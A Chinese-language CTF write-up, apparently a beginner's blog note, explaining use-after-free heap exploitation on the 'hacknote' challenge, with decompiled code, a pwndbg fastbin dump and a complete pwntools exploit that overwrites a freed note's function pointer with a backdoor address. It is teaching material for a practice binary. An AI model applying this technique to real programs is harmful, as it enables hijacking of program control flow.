0%

开始堆学习

开始堆学习

ufa

原理(自己理解):当一个堆指针被free时,这个堆就进入bin回收站,如果不对这个指针进行null操作,这个指针还指向这个堆,也就是说这个指针还能用

利用(自己的一点浅薄看法):堆利用就是通过各种办法让两个指针指向同一块堆,其中一个指针还可以对这个堆进行读取操作或者数据覆盖,以达到控制程序

就拿一个ufa入门题进行说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
int menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}

int add_note()
{
int result; // eax
int v1; // esi
char buf[8]; // [esp+0h] [ebp-18h] BYREF
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]

result = count;
if ( count > 5 )
return puts("Full");
for ( i = 0; i <= 4; ++i )
{
result = *((_DWORD *)&notelist + i);
if ( !result )
{
*((_DWORD *)&notelist + i) = malloc(8u);
if ( !*((_DWORD *)&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)&notelist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v1 = *((_DWORD *)&notelist + i);
*(_DWORD *)(v1 + 4) = malloc(size);
if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
puts("Success !");
return ++count;
}
}
return result;
}

int del_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)&notelist + v2);
if ( result )
{
free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
free(*((void **)&notelist + v2));
result = puts("Success");
}
return result;
}

int print_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)&notelist + v2);
if ( result )
result = (**((int (__cdecl ***)(_DWORD))&notelist + v2))(*((_DWORD *)&notelist + v2));
return result;
}

这是这个程序的大概流程,有三个功能,一个是申请堆,一个是释放堆,一个是读取堆内容,在申请堆的时候会进行两次malloc操作,第一次是申请一个结构体的堆空间,这个结构体一共有8个字节,前四个字节是一个变量,储存着一个函数地址,然后再申请一个堆空间存放内容,结构体的后四个字节存放第二个堆空间的地址,这个结构体堆的指针存放在一个数组中。

我们先申请两个note,大小放大一点,避免回收时和note的堆放入同一个fastbin的链表,我们先申请两个16字节的content堆

image-20211106171713893

这是申请的四个堆,第1,3是note,第2,4是content,查看一下内存空间,(chunk包括chunkhead和chunkcontent,所以最后申请的堆的大小是这两个之和)

image-20211106171813815

前八个字节是head,后面是内容,发现刚好对的上,这个时候把这两个note给free掉

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bins
fastbins
0x10: 0x804b028 —▸ 0x804b000 ◂— 0x0
note[1] note[0]
0x18: 0x804b038 —▸ 0x804b010 ◂— 0x0
content[1] content[0]
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0

这是fastbins的内容,第一个链表储存着大小为0x10的堆,第二个链表储存着大小为0x20的堆,当有堆要分配时就在这里找,这时再控制程序分配一个0x8的chunk,,note[1]就会分配给noe[2],然后开始分配content,因为要分配的堆的实际大小是0x10,他就会在fastbins中储存着堆大小为0x10的链表中找可用堆,也就是第一个链表,这个时候链表还有note[0]指向的堆,就会把这个堆分配给content,这时note[2]->content和note[0]都指向这个堆,然后利用content覆盖put的地址为后门函数的地址。调用note[0]->puts是就调用了后门函数。

最后payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
sh=remote('node4.buuoj.cn',29803)
#sh=process('./hacknote')
def add_note(size,content):
sh.sendline('1')
sh.recvuntil('Note size :')
sh.send(str(size))
sh.recvuntil('Content :')
sh.sendline(content)
def printf_note(index):
sh.sendline('3')
sh.recvuntil('Index :')
sh.send(str(index))
def del_node(index):
sh.sendline('2')
sh.recvuntil('Index :')
sh.send(str(index))
add_note(16,'asdsd')
add_note(16,'asdasd')
del_node(0)
del_node(1)
add_note(8,p32(0x08048945))
printf_note(0)
sh.interactive()